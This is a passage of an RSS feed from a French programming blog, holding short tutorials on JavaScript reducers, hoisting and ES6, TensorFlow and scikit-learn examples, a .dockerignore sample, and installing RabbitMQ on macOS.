<p><em>Inspiré de redux combineReducers.</em></p>
<p>Combiner plusieurs reducers en une seule fonction de réduction:</p>
<pre tabindex="0"><code>var reducers = {
  totalInDollar: function(state, item) {
    // specific statements...
    return state.dollars += item.price;
  },
  totalInEuros : function(state, item) {
    return state.euros += item.price * 0.897424392;
  },
  totalInPounds : function(state, item) {
    return state.pounds += item.price * 0.692688671;
  },
  totalInYen : function(state, item) {
    return state.yens += item.price * 113.852;
  }
  // more...
};
</code></pre><p>On crée une fonction qui retourne une fonction callback de réduction qui va appliquer chaque fonction de réduction individuellement.</p>
<pre tabindex="0"><code>var combineTotalPriceReducers = function(reducers) {
  return function(state, item) {
    return Object.keys(reducers).reduce(
      function(nextState, key) {
        reducers[key](state, item);
        return state;
      },
      {}      
    );
  }
};
</code></pre><p>Voici le code pour l&rsquo;utiliser:</p>
<pre tabindex="0"><code>var bigTotalPriceReducer = combineTotalPriceReducers(reducers);

var initialState = {dollars: 0, euros:0, yens: 0, pounds: 0};

var totals = items.reduce(bigTotalPriceReducer, initialState);

console.log(totals);

/*
Object {dollars: 1130, euros: 1015.11531904, yens: 127524.24, pounds: 785.81131152}
*/
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Importer des données depuis Numpy et Pandas dans Tensorflow</title>
            <link>https://leandeep.com/importer-des-donn%C3%A9es-depuis-numpy-et-pandas-dans-tensorflow/</link>
            <pubDate>Fri, 26 Feb 2016 07:31:00 +0000</pubDate>
            
            <guid>https://leandeep.com/importer-des-donn%C3%A9es-depuis-numpy-et-pandas-dans-tensorflow/</guid>
            <description>&lt;p&gt;Exemple avec le jeu de données Iris:&lt;/p&gt;
&lt;p&gt;On importe le dataset:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!mkdir /content/data
!ls
!wget https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data -P /content/data
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;data  sample_data
--2018-11-16 09:37:26--  https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data
Resolving archive.ics.uci.edu (archive.ics.uci.edu)... 128.195.10.249
Connecting to archive.ics.uci.edu (archive.ics.uci.edu)|128.195.10.249|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4551 (4.4K) [text/plain]
Saving to: ‘/content/data/iris.data’

iris.data           100%[===================&amp;gt;]   4.44K  --.-KB/s    in 0s      

2018-11-16 09:37:27 (102 MB/s) - ‘/content/data/iris.data’ saved [4551/4551]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On crée le modèle Tensorflow en réutilisant les données que l&amp;rsquo;on vient de télécharger:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Exemple avec le jeu de données Iris:</p>
<p>On importe le dataset:</p>
<pre tabindex="0"><code>!mkdir /content/data
!ls
!wget https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data -P /content/data
</code></pre><br/>
<p>Output:</p>
<pre tabindex="0"><code>data  sample_data
--2018-11-16 09:37:26--  https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data
Resolving archive.ics.uci.edu (archive.ics.uci.edu)... 128.195.10.249
Connecting to archive.ics.uci.edu (archive.ics.uci.edu)|128.195.10.249|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4551 (4.4K) [text/plain]
Saving to: ‘/content/data/iris.data’

iris.data           100%[===================&gt;]   4.44K  --.-KB/s    in 0s      

2018-11-16 09:37:27 (102 MB/s) - ‘/content/data/iris.data’ saved [4551/4551]
</code></pre><p>On crée le modèle Tensorflow en réutilisant les données que l&rsquo;on vient de télécharger:</p>
<pre tabindex="0"><code>import tensorflow as tf 
import numpy
import pandas as pd
df = pd.read_csv(&#39;/content/data/iris.data&#39;, usecols = [0,1,2,3], header=None)
d = df.values
l = pd.read_csv(&#39;/content/data/iris.data&#39;, usecols = [4], header=None)
labels = l.values
data = numpy.float32(d)
labels = numpy.array(l, &#39;str&#39;)


#tensorflow
x = tf.placeholder(tf.float32,shape=(150, 4))
x = data
w = tf.random_normal([100,150], mean=0.0, stddev=1.0, dtype=tf.float32)
y = tf.nn.softmax(tf.matmul(w,x))

with tf.Session() as sess:
    print(sess.run(y))
</code></pre><br/>
<p>Output:</p>
<pre tabindex="0"><code>[[6.05230798e-06 9.99951363e-01 4.28714886e-09 4.25937251e-05]
 [9.99996185e-01 1.03216182e-13 3.80070583e-06 6.39829425e-19]
 [1.64993300e-17 2.94252706e-04 7.82768490e-14 9.99705732e-01]
...
 [9.99661326e-01 1.44316881e-15 3.38725222e-04 6.10780423e-15]
 [1.43875854e-31 1.99823014e-13 3.74144286e-19 1.00000000e+00]
 [8.89758050e-01 7.39052707e-22 1.10241950e-01 8.98781819e-22]]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Commandes Python de base pour faire une régression en apprentissage supervisé avec scikit</title>
            <link>https://leandeep.com/commandes-python-de-base-pour-faire-une-r%C3%A9gression-en-apprentissage-supervis%C3%A9-avec-scikit/</link>
            <pubDate>Sat, 13 Feb 2016 16:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-python-de-base-pour-faire-une-r%C3%A9gression-en-apprentissage-supervis%C3%A9-avec-scikit/</guid>
            <description>&lt;p&gt;Dans cet article nous allons travailler sur le dataset &amp;ldquo;Boston house prices&amp;rdquo; de scikit-learn et essayer de prédire le prix de l&amp;rsquo;immobilier. Nous allons prédire une le prix d&amp;rsquo;une maison; ce qui signifie prédire une valeur continue.&lt;/p&gt;
&lt;p&gt;Le dataset ressemble à ceci:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from sklearn.datasets import load_boston
import pandas as pd

data = load_boston()

print(data.data.shape)
print(data.target.shape)

df_data = pd.DataFrame(data.data, columns=data.feature_names)      
df_labels = pd.DataFrame(data.target, columns=[&amp;#39;price in $1000\&amp;#39;s&amp;#39;])      
df_total = pd.concat([df_data, df_labels], axis=1)

print(df_total.head(5))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Résultat:&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons travailler sur le dataset &ldquo;Boston house prices&rdquo; de scikit-learn et essayer de prédire le prix de l&rsquo;immobilier. Nous allons prédire une le prix d&rsquo;une maison; ce qui signifie prédire une valeur continue.</p>
<p>Le dataset ressemble à ceci:</p>
<pre tabindex="0"><code>from sklearn.datasets import load_boston
import pandas as pd

data = load_boston()

print(data.data.shape)
print(data.target.shape)

df_data = pd.DataFrame(data.data, columns=data.feature_names)      
df_labels = pd.DataFrame(data.target, columns=[&#39;price in $1000\&#39;s&#39;])      
df_total = pd.concat([df_data, df_labels], axis=1)

print(df_total.head(5))
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>(506, 13)
(506,)
      CRIM    ZN  INDUS  CHAS    NOX     RM   AGE     DIS  RAD    TAX  \
0  0.00632  18.0   2.31   0.0  0.538  6.575  65.2  4.0900  1.0  296.0   
1  0.02731   0.0   7.07   0.0  0.469  6.421  78.9  4.9671  2.0  242.0   
2  0.02729   0.0   7.07   0.0  0.469  7.185  61.1  4.9671  2.0  242.0   
3  0.03237   0.0   2.18   0.0  0.458  6.998  45.8  6.0622  3.0  222.0   
4  0.06905   0.0   2.18   0.0  0.458  7.147  54.2  6.0622  3.0  222.0   

   PTRATIO       B  LSTAT  price in $1000&#39;s
0     15.3  396.90   4.98              24.0
1     17.8  396.90   9.14              21.6
2     17.8  392.83   4.03              34.7
3     18.7  394.63   2.94              33.4
4     18.7  396.90   5.33              36.2
</code></pre><blockquote>
<p>La librairie Pandas est une librairie parfaite pour manipuler les données. Nous avons déjà parlé de cette librairie dans l&rsquo;article [article à indiquer].</p></blockquote>
<p>Les features CRIM, ZN, INDUS, CHAS, NOX,&hellip; ne veulent rien dire comme cela.
Il y a un descriptif dans l&rsquo;objet data qui permet de mieux comprendre à quoi correspond ces abréviations.</p>
<pre tabindex="0"><code>print(data.DESCR)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>Boston House Prices dataset
===========================

Notes
------
Data Set Characteristics:  

    :Number of Instances: 506 

    :Number of Attributes: 13 numeric/categorical predictive
    
    :Median Value (attribute 14) is usually the target

    :Attribute Information (in order):
        - CRIM     per capita crime rate by town
        - ZN       proportion of residential land zoned for lots over 25,000 sq.ft.
        - INDUS    proportion of non-retail business acres per town
        - CHAS     Charles River dummy variable (= 1 if tract bounds river; 0 otherwise)
        - NOX      nitric oxides concentration (parts per 10 million)
        - RM       average number of rooms per dwelling
        - AGE      proportion of owner-occupied units built prior to 1940
        - DIS      weighted distances to five Boston employment centres
        - RAD      index of accessibility to radial highways
        - TAX      full-value property-tax rate per $10,000
        - PTRATIO  pupil-teacher ratio by town
        - B        1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town
        - LSTAT    % lower status of the population
        - MEDV     Median value of owner-occupied homes in $1000&#39;s

    :Missing Attribute Values: None
...
</code></pre><br/>
<h1 id="visualisation-des-données-et-sélection-des-features">Visualisation des données et sélection des features</h1>
<p>On va commencer par visualiser les données pour essayer de comprendre de à quoi ressemble le dataset. L&rsquo;objectif n&rsquo;est pas de tout visualiser et de tout comprendre tout de suite; l&rsquo;objectif est plus d&rsquo;avoir une première idée de ce à quoi ressemblent les données.</p>
<pre tabindex="0"><code>%matplotlib inline
import matplotlib.pyplot as plt
import numpy as np

plt.hist(data.target)
plt.xlabel(&#39;price in $1000\&#39;s&#39;)
plt.ylabel(&#39;nombre de maisons&#39;)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/bar-chart-price-houses.png" alt="image"></p>
<p>On va sélectionner les features qui influent le plus le prix des maisons. On va afficher sur un graphique chaque feature et retenir celles qui sont les plus corrélées avec notre cible. Cette étape est faite manuellement. Nous aurions pu le faire automatiquement. Nous verrons ces techniques dans un prochain article.</p>
<pre tabindex="0"><code>for index, feature_name in enumerate(data.feature_names):
    plt.figure()
    plt.scatter(data.data[:, index], data.target)
    plt.ylabel(&#39;Prix&#39;)
    plt.xlabel(feature_name)
</code></pre><p><img src="/images/charts.png" alt="image"></p>
<p><img src="/images/charts2.png" alt="image"></p>
<p><img src="/images/charts3.png" alt="image"></p>
<p><img src="/images/charts4.png" alt="image"></p>
<br/>
<h1 id="prédire-le-prix-de-limmobilier">Prédire le prix de l&rsquo;immobilier</h1>
<h2 id="régression-linéaire">Régression linéaire</h2>
<p>A présent nous allons construire notre modèle de régression linéaire (calcul des moindres carrés) sur l&rsquo;ensemble des données.</p>
<blockquote>
<p>Cette méthode consiste à déterminer la droite théorique dont les coordonnées sont la moyenne arithmétique de toutes les données.
Pour faire plus simple, c&rsquo;est la droite qui passe au plus près de tous les points de données.</p></blockquote>
<pre tabindex="0"><code>from sklearn.cross_validation import train_test_split

X_train, X_test, y_train, y_test = train_test_split(data.data, data.target)

from sklearn.linear_model import LinearRegression

estimator = LinearRegression()
estimator.fit(X_train, y_train)

predicted = estimator.predict(X_test)
expected = y_test

plt.scatter(expected, predicted)
plt.plot([0, 50], [0, 50], &#39;--k&#39;)
plt.axis(&#39;tight&#39;)
plt.xlabel(&#39;True price in $1000\&#39;s&#39;)
plt.ylabel(&#39;Predicted price in $1000\&#39;s&#39;)
print(&#34;RMS:&#34;, np.sqrt(np.mean((predicted - expected) ** 2)))
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>RMS: 4.683413955906375
</code></pre><p><img src="/images/predicted-prices.png" alt="image"></p>
<p>On voit qu&rsquo;il y a une correlation entre le prix prédit et le vrai prix des maisons; même s&rsquo;il y a quand même pas mal de biais.</p>
<br/>
<h1 id="arbre-de-décision-gradient-boosting">Arbre de décision Gradient Boosting</h1>
<p>On va utiliser un meilleur régresseur pour obtenir un meilleur résultat.</p>
<pre tabindex="0"><code>from sklearn.ensemble import GradientBoostingRegressor

clf = GradientBoostingRegressor()
clf.fit(X_train, y_train)

predicted = clf.predict(X_test)
expected = y_test

plt.scatter(expected, predicted)
plt.plot([0, 50], [0, 50], &#39;--k&#39;)
plt.axis(&#39;tight&#39;)
plt.xlabel(&#39;True price in $1000\&#39;s&#39;)
plt.ylabel(&#39;Predicted price in $1000\&#39;s&#39;)
print(&#34;RMS:&#34;, np.sqrt(np.mean((predicted - expected) ** 2)))
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>RMS: 3.2226035734196445
</code></pre><p><img src="/images/predicted-prices2.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Réduire la taille du contexte lors d&#39;un Docker build</title>
            <link>https://leandeep.com/r%C3%A9duire-la-taille-du-contexte-lors-dun-docker-build/</link>
            <pubDate>Mon, 01 Feb 2016 21:26:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9duire-la-taille-du-contexte-lors-dun-docker-build/</guid>
            <description>&lt;p&gt;Très simplement, il suffit d&amp;rsquo;ajouter un fichier &lt;code&gt;.dockerignore&lt;/code&gt; au même niveau que votre Dockerfile.&lt;/p&gt;
&lt;p&gt;Voici un exemple de &lt;em&gt;paths&lt;/em&gt; à exclure du contexte.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;.git
.ipynb_checkpoints/*
/notebooks/*
/unused/*
Dockerfile
.DS_Store
.gitignore
README.md
env.*
/devops/*

# To prevent storing dev/temporary container data
*.csv
/tmp/*
tmp/
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Très simplement, il suffit d&rsquo;ajouter un fichier <code>.dockerignore</code> au même niveau que votre Dockerfile.</p>
<p>Voici un exemple de <em>paths</em> à exclure du contexte.</p>
<pre tabindex="0"><code>.git
.ipynb_checkpoints/*
/notebooks/*
/unused/*
Dockerfile
.DS_Store
.gitignore
README.md
env.*
/devops/*

# To prevent storing dev/temporary container data
*.csv
/tmp/*
tmp/
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Ma présentation de Docker</title>
            <link>https://leandeep.com/ma-pr%C3%A9sentation-de-docker/</link>
            <pubDate>Wed, 27 Jan 2016 22:07:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ma-pr%C3%A9sentation-de-docker/</guid>
            <description>&lt;p&gt;Voici une présentation que j&amp;rsquo;ai réalisé pour motiver les Devs et les Ops à utiliser Docker au quotidien.&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/HDLMVlHQGKKvUX&#34;
        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;</description>
            <content type="html"><![CDATA[<p>Voici une présentation que j&rsquo;ai réalisé pour motiver les Devs et les Ops à utiliser Docker au quotidien.</p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/HDLMVlHQGKKvUX"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





]]></content>
        </item>
        
        <item>
            <title>Réaliser un one-hot encoding avec Tensorflow</title>
            <link>https://leandeep.com/r%C3%A9aliser-un-one-hot-encoding-avec-tensorflow/</link>
            <pubDate>Wed, 20 Jan 2016 19:05:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9aliser-un-one-hot-encoding-avec-tensorflow/</guid>
            <description>&lt;p&gt;On exécute la fonction tf.nn.embedding_lookup (qui permet d&amp;rsquo;exécuter l&amp;rsquo;opération de recherche tensorielle) entre la matrice identité et ses données:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import numpy as np
a = 5 
b = [1, 2, 3]

# one hot an integer
one_hot_a = tf.nn.embedding_lookup(np.identity(10), a)

# one hot a list of integers
one_hot_b = tf.nn.embedding_lookup(np.identity(max(b)+1), b)

with tf.Session() as sess:
    print(sess.run([one_hot_a, one_hot_b]))
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[array([0., 0., 0., 0., 0., 1., 0., 0., 0., 0.]), array([[0., 1., 0., 0.],
       [0., 0., 1., 0.],
       [0., 0., 0., 1.]])]
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>On exécute la fonction tf.nn.embedding_lookup (qui permet d&rsquo;exécuter l&rsquo;opération de recherche tensorielle) entre la matrice identité et ses données:</p>
<pre tabindex="0"><code>import numpy as np
a = 5 
b = [1, 2, 3]

# one hot an integer
one_hot_a = tf.nn.embedding_lookup(np.identity(10), a)

# one hot a list of integers
one_hot_b = tf.nn.embedding_lookup(np.identity(max(b)+1), b)

with tf.Session() as sess:
    print(sess.run([one_hot_a, one_hot_b]))
</code></pre><br/>
<p>Output:</p>
<pre tabindex="0"><code>[array([0., 0., 0., 0., 0., 1., 0., 0., 0., 0.]), array([[0., 1., 0., 0.],
       [0., 0., 1., 0.],
       [0., 0., 0., 1.]])]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Comprendre le hoisting en JavaScript</title>
            <link>https://leandeep.com/comprendre-le-hoisting-en-javascript/</link>
            <pubDate>Sun, 10 Jan 2016 19:52:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comprendre-le-hoisting-en-javascript/</guid>
            <description>&lt;p&gt;Comprendre le &lt;em&gt;hoisting&lt;/em&gt; en JavaScript est important pour organiser vos fonctions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rappel entre déclarer et définir une variable:
Déclarer une variable signifie: &amp;ldquo;dire au système qu&amp;rsquo;une variable existe&amp;rdquo;
Définir une variable signifie: &amp;ldquo;assigner une valeur à une variable&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;Lorsqu&amp;rsquo;on déclare une variable ou une fonction elles sont &lt;em&gt;hoisted&lt;/em&gt; (hissées) en haut du fichier. Par contre, lorsqu&amp;rsquo;on définit une variable ou déclare et définit sur la même ligne une variable il n&amp;rsquo;y a pas de &lt;em&gt;hoisting&lt;/em&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Comprendre le <em>hoisting</em> en JavaScript est important pour organiser vos fonctions.</p>
<blockquote>
<p>Rappel entre déclarer et définir une variable:
Déclarer une variable signifie: &ldquo;dire au système qu&rsquo;une variable existe&rdquo;
Définir une variable signifie: &ldquo;assigner une valeur à une variable&rdquo;</p></blockquote>
<br/>
<p>Lorsqu&rsquo;on déclare une variable ou une fonction elles sont <em>hoisted</em> (hissées) en haut du fichier. Par contre, lorsqu&rsquo;on définit une variable ou déclare et définit sur la même ligne une variable il n&rsquo;y a pas de <em>hoisting</em>.</p>
<br/>
<p>Du coup voici des exemples de déclarations de variables et fonctions pour voir les <em>scopes</em>.</p>
<pre tabindex="0"><code>function maSuperFonction() {
  // ReferenceError: fonctionPasDeclaree is not defined
  console.log(fonctionPasDeclaree);
  // Outputs: undefined

  console.log(variableDefiniePlusTard);
  var variableDefiniePlusTard;

  variableDefiniePlusTard = &#39;contenu de ma variable&#39;;
  console.log(variableDefiniePlusTard);
  // Outputs: &#39;contenu de ma variable&#39;


  console.log(variableDefinieEtDefinieSimultanement);
  // Outputs: undefined
  var variableDefinieEtDefinieSimultanement = &#39;contenu de cette variable&#39;;
  console.log(variableDefinieEtDefinieSimultanement);
  // Outputs: &#39;contenu de cette variable&#39;

  // Outputs: &#39;yeah!&#39;
  nouvelleFonction();

  function nouvelleFonction() {
    console.log(&#39;yeah!&#39;);
  }

  // TypeError: undefined is not a function
  autreFonction();

  var autreFonction = function() {
    console.log(&#39;Oops&#39;);
  }
}
</code></pre><br/>
<p>Pour garder les choses simples déclarez toutes vos variables au-dessus du <em>scope</em> de vos fonctions. Definissez vos variables avant d&rsquo;en avoir besoin. Definissez vos fonctions en-dessous de vos <em>scopes</em>.</p>
]]></content>
        </item>
        
        <item>
            <title>Introduction à ES6</title>
            <link>https://leandeep.com/introduction-%C3%A0-es6/</link>
            <pubDate>Mon, 04 Jan 2016 19:35:00 +0000</pubDate>
            
            <guid>https://leandeep.com/introduction-%C3%A0-es6/</guid>
            <description>&lt;p&gt;Voici les bases à connaître pour utiliser ES6:&lt;/p&gt;
&lt;h2 id=&#34;arrow-functions-fonctions-fléchées&#34;&gt;Arrow Functions (Fonctions fléchées)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Exemple:&lt;/strong&gt;
Plutôt que de coder:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const myFunction = function foo() {
  //...
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Utiliser maintenant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const myFunction = () =&amp;gt; {
  //...
}

// Si la méthode ne possède qu&amp;#39;une seule déclaration, on écrit la méthode comme ceci:
const myFunction = i =&amp;gt; 3 * i
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;the-spread-operator-syntaxe-de-décomposition&#34;&gt;The spread operator (Syntaxe de décomposition)&lt;/h2&gt;
&lt;p&gt;Si on a:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const c = [...a]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cette déclaration copie le tableau a dans c.
On peut ajouter d&amp;rsquo;autres éléments derrière un spread operator:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici les bases à connaître pour utiliser ES6:</p>
<h2 id="arrow-functions-fonctions-fléchées">Arrow Functions (Fonctions fléchées)</h2>
<p><strong>Exemple:</strong>
Plutôt que de coder:</p>
<pre tabindex="0"><code>const myFunction = function foo() {
  //...
}
</code></pre><p>Utiliser maintenant:</p>
<pre tabindex="0"><code>const myFunction = () =&gt; {
  //...
}

// Si la méthode ne possède qu&#39;une seule déclaration, on écrit la méthode comme ceci:
const myFunction = i =&gt; 3 * i
</code></pre><h2 id="the-spread-operator-syntaxe-de-décomposition">The spread operator (Syntaxe de décomposition)</h2>
<p>Si on a:</p>
<pre tabindex="0"><code>const c = [...a]
</code></pre><p>Cette déclaration copie le tableau a dans c.
On peut ajouter d&rsquo;autres éléments derrière un spread operator:</p>
<pre tabindex="0"><code>const c = [...a, 2, &#39;test&#39;]
</code></pre><h2 id="destructuring-assignments-affectation-par-décomposition">Destructuring assignments (Affectation par décomposition)</h2>
<p>On peut extraire juste certaines propriétés d&rsquo;un objet en utilisant la syntaxe suivante:</p>
<pre tabindex="0"><code>const person = {
  firstName: &#39;Tom&#39;,
  lastName: &#39;Cruise&#39;,
  actor: true,
  age: 54 //made up
}

const { firstName: name, age } = person
</code></pre><p>Cela va créer 2 const variables appelées name et age.</p>
<p>La synataxe suivante fonctionne également:</p>
<pre tabindex="0"><code>const a = [1,2,3,4,5]
[first, second, , , fifth] = a
</code></pre><h2 id="template-literals-modèles-de-libellés">Template Literals (Modèles de libellés)</h2>
<pre tabindex="0"><code>const str = `test`
</code></pre><pre tabindex="0"><code>const string = `something ${1 + 2 + 3}`
const string2 = `something ${foo() ? &#39;x&#39; : &#39;y&#39;}`
</code></pre><pre tabindex="0"><code>const string3 = `Hey
this

string
is awesome!`
</code></pre><h2 id="async--await">Async / Await</h2>
<p>Une fonction async retourne une promesse:</p>
<pre tabindex="0"><code>const doSomethingAsync = () =&gt; {
    return new Promise((resolve) =&gt; {
        setTimeout(() =&gt; resolve(&#39;I did something&#39;), 3000)
    })
}
</code></pre><p>Quand on veut appeler cette fonction on ajoute await comme ceci:</p>
<pre tabindex="0"><code>const doSomething = async () =&gt; {
    console.log(await doSomethingAsync())
}
</code></pre><p><strong>Exemple</strong></p>
<pre tabindex="0"><code>const doSomethingAsync = () =&gt; {
    return new Promise((resolve) =&gt; {
        setTimeout(() =&gt; resolve(&#39;I did something&#39;), 3000)
    })
}

const doSomething = async () =&gt; {
    console.log(await doSomethingAsync())
}

console.log(&#39;Before&#39;)
doSomething()
console.log(&#39;After&#39;)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>Before
After
I did something // Après 3s
</code></pre><p><strong>Autre exemple, au lieu de:</strong></p>
<pre tabindex="0"><code>const getFirstUserData = () =&gt; {
  return fetch(&#39;/users.json&#39;) // get users list
    .then(response =&gt; response.json()) // parse JSON
    .then(users =&gt; users[0]) // pick first user
    .then(user =&gt; fetch(`/users/${user.name}`)) // get user data
    .then(userResponse =&gt; response.json()) // parse JSON
}

getFirstUserData()
</code></pre><p><em>Le code se simplifie avec async / await:</em></p>
<pre tabindex="0"><code>const getFirstUserData = async () =&gt; {
  const response = await fetch(&#39;/users.json&#39;) // get users list
  const users = await response.json() // parse JSON
  const user = users[0] // pick first user
  const userResponse = await fetch(`/users/${user.name}`) // get user data
  const userData = await user.json() // parse JSON
  return userData
}

getFirstUserData()
</code></pre><p><strong>Dernier exemple avec des async / await en série:</strong></p>
<pre tabindex="0"><code>const promiseToDoSomething = () =&gt; {
    return new Promise(resolve =&gt; {
        setTimeout(() =&gt; resolve(&#39;I did something&#39;), 10000)
    })
}

const watchOverSomeoneDoingSomething = async () =&gt; {
    const something = await promiseToDoSomething()
    return something + &#39; and I watched&#39;
}

const watchOverSomeoneWatchingSomeoneDoingSomething = async () =&gt; {
    const something = await watchOverSomeoneDoingSomething()
    return something + &#39; and I watched as well&#39;
}

watchOverSomeoneWatchingSomeoneDoingSomething().then((res) =&gt; {
    console.log(res)
})
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>I did something and I watched and I watched as well
</code></pre><h2 id="classes">Classes</h2>
<pre tabindex="0"><code>class Person {
  constructor(name) {
    this.name = name
  }

  hello() {
    return &#39;Hello, I am &#39; + this.name + &#39;.&#39;
  }
  
  get fullName() {
    return `${this.firstName} ${this.lastName}`
  }
  
  set age(years) {
    this.theAge = years
  }
}

class Actor extends Person {
  hello() {
    return super.hello() + &#39; I am an actor.&#39;
  }
}

var tomCruise = new Actor(&#39;Tom Cruise&#39;)
tomCruise.hello()
</code></pre><h2 id="modules">Modules</h2>
<p><strong>Importer des modules</strong></p>
<p>L&rsquo;import se fait via les commandes <code>import ... from ...</code>:</p>
<pre tabindex="0"><code>import * from &#39;mymodule&#39;
import React from &#39;react&#39;
import { React, Component } from &#39;react&#39;
import React as MyLibrary from &#39;react&#39;
</code></pre><p><strong>Exporter des modules</strong></p>
<pre tabindex="0"><code>export var foo = 2
export function bar() { /* ... */ }
</code></pre><h2 id="for-of-loop">FOR-OF LOOP</h2>
<p>C&rsquo;est un forEach avec la possibilité de faire un break</p>
<pre tabindex="0"><code>//iterate over the value
for (const v of [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]) {
  console.log(v);
}
a
b
c

//get the index as well, using `entries()`
for (const [i, v] of [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;].entries()) {
  console.log(i, v);
}
0 &#34;a&#34;
1 &#34;b&#34;
2 &#34;c&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer RabbitMQ sur OSX</title>
            <link>https://leandeep.com/installer-rabbitmq-sur-osx/</link>
            <pubDate>Mon, 28 Dec 2015 22:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-rabbitmq-sur-osx/</guid>
            <description>&lt;p&gt;Pour installer RabbitMQ sur OSX, c&amp;rsquo;est vraiment très simple:&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installer-rabbitmq&#34;&gt;Installer RabbitMQ&lt;/h2&gt;
&lt;p&gt;Exécuter la commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install rabbitmq
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Puis ajouter la ligne &lt;code&gt;export PATH=$PATH:/usr/local/sbin&lt;/code&gt; dans votre fichier &lt;code&gt;~/.zshrc&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;démarrer-rabbitmq&#34;&gt;Démarrer RabbitMQ&lt;/h2&gt;
&lt;p&gt;Pour démarrer le service il suffit d&amp;rsquo;exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew services start rabbitmq
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous vous rendez sur http://localhost:15672 vous pourrez voir l&amp;rsquo;interface d&amp;rsquo;administration de RabbitMQ.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Il est également possible de démarrer le serveur en standalone via la commande &lt;code&gt;rabbitmq-server&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour installer RabbitMQ sur OSX, c&rsquo;est vraiment très simple:</p>
<br/>
<h2 id="installer-rabbitmq">Installer RabbitMQ</h2>
<p>Exécuter la commande:</p>
<pre tabindex="0"><code>brew install rabbitmq
</code></pre><p>Puis ajouter la ligne <code>export PATH=$PATH:/usr/local/sbin</code> dans votre fichier <code>~/.zshrc</code>.</p>
<br/>
<h2 id="démarrer-rabbitmq">Démarrer RabbitMQ</h2>
<p>Pour démarrer le service il suffit d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code>brew services start rabbitmq
